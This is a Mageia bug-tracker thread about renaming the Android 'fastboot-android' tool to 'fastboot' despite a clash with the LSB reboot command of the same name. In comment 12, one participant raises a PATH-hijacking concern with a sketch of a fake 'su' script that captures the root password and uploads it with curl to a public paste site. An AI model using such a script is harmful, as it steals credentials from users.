Bug 24139 - Rename fastboot-android into just fastboot
Summary: Rename fastboot-android into just fastboot
Status: NEW
Alias: None
Product: Mageia
Classification: Unclassified
Component: RPM Packages (show other bugs)
Version: Cauldron
Hardware: All Linux
Priority: Normal normal
Target Milestone: ---
Assignee: David GEIGER
QA Contact:
URL:
Whiteboard: MGA8TOO
Keywords:
Depends on:
Blocks:
 
Reported: 2019-01-05 17:37 CET by Kristoffer Grundström
Modified: 2022-11-21 19:53 CET (History)
4 users (show)

See Also:
Source RPM: android-tools
CVE:
Status comment:


Attachments

Description Kristoffer Grundström 2019-01-05 17:37:57 CET
Description of problem: I just bought the Sony Xperia XA2 Dual and flashed Lineage 16.0 on it just fine and the bootloader is unlocked. I'm trying to run a script made by Sony to flash the Free version of Sailfish OS and even though I edited the script to use fastboot-android instead of just fastboot like every other distro uses to flash my phone, the script still fails to see any connected device to start the flash. Running fastboot-android devices does recognize the phone perfectly. I therefor wish that the fastboot binary is renamed into fastboot when the Pie version of android-tools gets released that I made a report about previously.

Version-Release number of selected component (if applicable): 4.4.2

How reproducible: All the time.

Steps to Reproduce:
1. Buy a Sony Xperia XA2 or similar.
2. Download the Sailfish X Free from the Jolla Shop ( https://shop.jolla.com/ ).
3. Click the blue button named GET FREE TRIAL.
4. Create a user account and sign in.
5. Choose your country and tick the box to agree and click the blue button name CONFIRM.
6. Download the right zip for your model.
7. Follow the installation instructions.
8. cd to the directory where you unpacked the zip.
9. Connect the phone in Fastboot mode and run bash flash.sh
10. Fastboot will fail to flash since it uses fastboot and not fastboot-android as Mageia uses.
Comment 1 Marja Van Waes 2019-01-05 18:17:13 CET
Assigning to the registered maintainer.

Assignee: bugsquad => geiger.david68210
CC: (none) => marja11

Comment 2 Morgan Leijström 2020-10-14 16:46:50 CEST
Another examples of user into problem:
https://forum.fairphone.com/t/mageia-linux-no-fastboot-command-possible/36469


However there is a problem, which i realised by stupidly issuing 
 # fastboot
- *Mageia* immediately rebooted !!
Because that is /usr/sbin/fastboot from package lsb-core-noarch  DOH!

So we possibly have a naming issue?

------------------------

(  Sidenote to Kristoffer:
Last year I bought Sailfish license, a used Xperia XA2, and... found out Sailfish could not install on the updated Xperia andriod version, Sony's updater program "Emma" refuse to downgrade, and Sony refuse to give more powerful tool to end users :(
  )

Summary: Rename the fastboot binary into just fastboot => Rename fastboot-android into just fastboot
CC: (none) => fri

Morgan Leijström 2020-10-14 16:47:10 CEST

Whiteboard: (none) => MGA7TOO

Morgan Leijström 2020-10-14 17:37:51 CEST

See Also: (none) => https://bugs.mageia.org/show_bug.cgi?id=26180

Morgan Leijström 2020-10-14 23:34:33 CEST

See Also: (none) => https://bugs.mageia.org/show_bug.cgi?id=27414

Comment 3 Kristoffer Grundström 2020-10-15 03:34:22 CEST
(In reply to Morgan Leijström from comment #2)
> Another examples of user into problem:
> https://forum.fairphone.com/t/mageia-linux-no-fastboot-command-possible/36469
> 
> 
> However there is a problem, which i realised by stupidly issuing 
>  # fastboot
> - *Mageia* immediately rebooted !!
> Because that is /usr/sbin/fastboot from package lsb-core-noarch  DOH!
> 
> So we possibly have a naming issue?
> 
> ------------------------
> 
> (  Sidenote to Kristoffer:
> Last year I bought Sailfish license, a used Xperia XA2, and... found out
> Sailfish could not install on the updated Xperia andriod version, Sony's
> updater program "Emma" refuse to downgrade, and Sony refuse to give more
> powerful tool to end users :(
>   )

Did you unlock the bootloader?
Comment 4 Morgan Leijström 2020-10-15 09:35:06 CEST
(In reply to Kristoffer Grundström from comment #3)
> Did you unlock the bootloader?
I dont remember if I got that far, or just read from other user it should not work changing OS from the installed updated version and then I got frustrated with Emma and Sony "support"...

I may try again, thanks :)
Comment 5 Morgan Leijström 2020-10-15 19:05:42 CEST
 $ fastboot
 Not found. Strange, it should be included. Ah it may need be run as root?
 # fastboot
 Screen: black
 Computer : reboots
 Me: slaps forehead 

 # which fastboot
 /usr/sbin/fastboot
 It comes from package lsb-core-noarch
 (It obviously is badly named at least, should be fastREboot...)


SUGGESTION:

Maybe a post install script should
 #  ln -s /usr/bin/fastboot-android /usr/bin/fastboot 

That would work as regular users normally do not have sbin in their path.
For root, it would still reboot, but for regular users it would run the
fastboot-android.
Comment 6 Kristoffer Grundström 2020-10-16 03:21:24 CEST
(In reply to Morgan Leijström from comment #5)
>  $ fastboot
>  Not found. Strange, it should be included. Ah it may need be run as root?
>  # fastboot
>  Screen: black
>  Computer : reboots
>  Me: slaps forehead 
> 
>  # which fastboot
>  /usr/sbin/fastboot
>  It comes from package lsb-core-noarch
>  (It obviously is badly named at least, should be fastREboot...)
> 
> 
> SUGGESTION:
> 
> Maybe a post install script should
>  #  ln -s /usr/bin/fastboot-android /usr/bin/fastboot 
> 
> That would work as regular users normally do not have sbin in their path.
> For root, it would still reboot, but for regular users it would run the
> fastboot-android.

https://altlinux.pkgs.org/sisyphus/classic-x86_64/android-tools-8.1.0-alt3.r23.x86_64.rpm.html

shows that they put the fastboot binary in /usr/bin/ so they don't rename it.

It's the same with Fedora's android-tools package:

https://fedora.pkgs.org/rawhide/fedora-x86_64/android-tools-20180828gitc7815d675-8.fc33.x86_64.rpm.html

and in OpenMandriva it's also not renamed:

https://openmandriva.pkgs.org/cooker/openmandriva-main-release-x86_64/android-tools-8.1.0_r48-5-omv4002.x86_64.rpm.html

and in OpenSuse Tumbleweed it's also not renamed:

https://opensuse.pkgs.org/tumbleweed/hardware-x86_64/android-tools-9.0.0_r58-1.5.x86_64.rpm.html

Looking at the lsb-core-noarch package for Alt Linux fastboot-android is not mentioned anywhere which is odd:

https://altlinux.pkgs.org/sisyphus/classic-x86_64/lsb-core-4.0-alt12.x86_64.rpm.html

It's the same with CentOS lsb-core-noarch package:

https://centos.pkgs.org/8/centos-appstream-x86_64/redhat-lsb-core-4.1-47.el8.x86_64.rpm.html

It's the same with Fedora's Rawhide lsb-core-noarch package:

https://fedora.pkgs.org/rawhide/fedora-x86_64/redhat-lsb-core-4.1-51.fc33.x86_64.rpm.html

PCLOS also shows no occurrence of fastboot-android or fastboot at all for that matter:

https://pclinuxos.pkgs.org/rolling/pclinuxos-x86_64/lsb-core-noarch-4.1-3pclos2014.x86_64.rpm.html

Looking at the wiki it seems like we're not really up-to-date with this package:

https://en.wikipedia.org/wiki/Linux_Standard_Base#Version_history

I see they removed Java. Does that affect fastboot in /sbin/?
I believe it does.
Morgan Leijström 2020-10-16 10:57:45 CEST

See Also: (none) => https://bugs.mageia.org/show_bug.cgi?id=19684

Comment 7 David Walser 2020-10-16 22:40:47 CEST
I don't think it's a good idea to name it fastboot if it's some Android thing.  There's a common BIOS feature called fastboot, so it would just cause confusion.
Comment 8 Kristoffer Grundström 2020-10-17 04:21:10 CEST
Looking at the man page for the fastboot command it clearly states that fastboot reboots the system without checking file systems and that the binary is supposed to be in /usr/sbin/ which differs from where Android puts its fastboot binary:

I just wish that we could explore possible ways to use the Android Fastboot binary as fastboot because I can't find any other dist that names their fastboot binary as android-fastboot except for Mageia. I used pkgs.org to check the Files section for each dist.

Our fastboot binary to reboot the computer without checking the file system in /sbin/ seems to come from lsb-core-noarch, but if you look at https://packages.ubuntu.com/focal/lsb-core/ which I believe is the equivalent package in Ubuntu it shows that fastboot is not present.

Forgive my ignorance, but this feels confusing to me.

This is why I kindly suggest that future builds of android-tools comes with a binary for fastboot called only fastboot and that the LSB Core Fastboot binary gets renamed into fastreboot like previously mentioned.
Comment 9 Morgan Leijström 2020-10-17 11:48:47 CEST
Unfortunately I think we can not rename fastboot from LSB, because then it would not be Linux *Standard* Base, - probably break anything that use the LSB command fastboot.

I guess any tool/script that depends on LSB fastboot is running with root privileges.

User should*) only run Android fastboot as user.

A link like i proposed i think should solve that; "fastboot" will fur users execute the android-tools command, while root usage of fastboot is left unaffected.


How do other distros solve the fact that LSB have a same named command?



*) That said users may like me (comment #5) try running it as root deliberately anyway, i.e whenever permission rules are not OK for users phone, Bug 27414.
Comment 10 Jybz 2021-06-30 12:07:03 CEST
We have one user asking more or less the same thing, I was looking for more information and found this bug report. https://www.mageialinux-online.org/forum/topic-29096.php

I suggest him the following non-intrusive work around (not modifying the root partition) :

> sed -i -e 's|PATH=$PATH:\($HOME/.local/bin:$HOME/bin\)|PATH=\1:$PATH|' ~/.bash_profile
> ln -s /usr/bin/fastboot-android ~/.local/bin/fastboot

The purpose is to provide the "fastboot" command in userspace with the link command ln, in such way it follows Mageia updates, and, to give the priority on this userspaced command modifying the PATH order in the .bash_profile.

Running as root will not be altered by this modifications and might reboot your computer. Enjoy !

If it works, maybe closing the bug report ?

CC: (none) => j.biernacki+mga

Comment 11 Morgan Leijström 2021-06-30 13:31:52 CEST
I find that a very good idea.

IMO as user you should not have access to a command that abruptly reboot the system.

That while keeping root habing that command is probably good for LSB compatibility, but i dont know if that makes us fully compatible whatever that is for.

Related:
In Bug 28860 we are solving so user can run android fastboot


So not closing - instead I ask: can this idea in comment 10 be implemented in a package?

Whiteboard: MGA7TOO => MGA8TOO
See Also: (none) => https://bugs.mageia.org/show_bug.cgi?id=28860

Comment 12 Jybz 2021-06-30 13:55:04 CEST
No, it isn't possible to implement in a package, as packages are only system-wide and not appropriate for user.
A second thing, modifying the PATH using userspace first could be a security mitigation, for example placing a "su" shell script inside /home/${USER}/.local/bin/su and using this .local/bin first before /usr/bin, would (normaly) use this shell script instead of the binary su, and this script can send the root password everywhere on internet like :
> echo "root password :"
> password=$(set -p passwd)
> echo $password >/tmp/pwd
> curl 'https://paste.c-net.org/' --upload-file /tmp/pwd

But, I don't know how it works, the su binary and command are protected, I already tried and it didn't worked. \o/ But still... I didn't tried with sudo, etc.


For Bug 28860, it is a long thread, can you make it short to me on IRC ?
I read :
> https://bugs.mageia.org/show_bug.cgi?id=28860#c7 
> I renamed fastboot-android to originally fastboot.
So what is the current state now ? android-fastboot package conflicts with lsb-core package ?
In general, I don't like playing inside /usr/{lib[64],share}. Please see man udev :
> RULES FILES
>        The udev rules are read from the files located in the system rules
>        directories /usr/lib/udev/rules.d and /usr/local/lib/udev/rules.d, the
>        volatile runtime directory /run/udev/rules.d and the local
>        administration directory /etc/udev/rules.d. All rules files are
>        collectively sorted and processed in lexical order, regardless of the
>        directories in which they live. However, files with identical filenames
>        replace each other. Files in /etc have the highest priority, files in
>        /run take precedence over files with the same name under /usr. This can
>        be used to override a system-supplied rules file with a local file if
>        needed; a symlink in /etc with the same name as a rules file in
>        /usr/lib, pointing to /dev/null, disables the rules file entirely. Rule
>        files must have the extension .rules; other extensions are ignored.
so please, add your personnal modification inside /etc/udev/rules.d and if there is something to change in the packages of Mageia, it should be through the bug report and then the build system and last the package which will update the file.
Comment 13 Kristoffer Grundström 2021-07-01 17:34:47 CEST
Can we look at how Ubuntu or other distributions have solved this problem packagewise and then implement their solution?
Comment 14 Morgan Leijström 2021-07-22 10:40:44 CEST
Using android-tools from bug 28860 I have now used "fastboot" as normal user successfully to reinstall on a Fairphone3.

If I issue "fastboot" _as root_, Mageia reboots fast. (from lsb_core)

This solution works for me.
Comment 15 Stig-Ørjan Smelror 2022-11-21 19:53:19 CET
Version 33.0.3p1 pushed to Cauldron.

AFAICS, fastboot is named fastboot and nothing else.

Please test.

CC: (none) => smelror


Note You need to log in before you can comment on or make changes to this bug.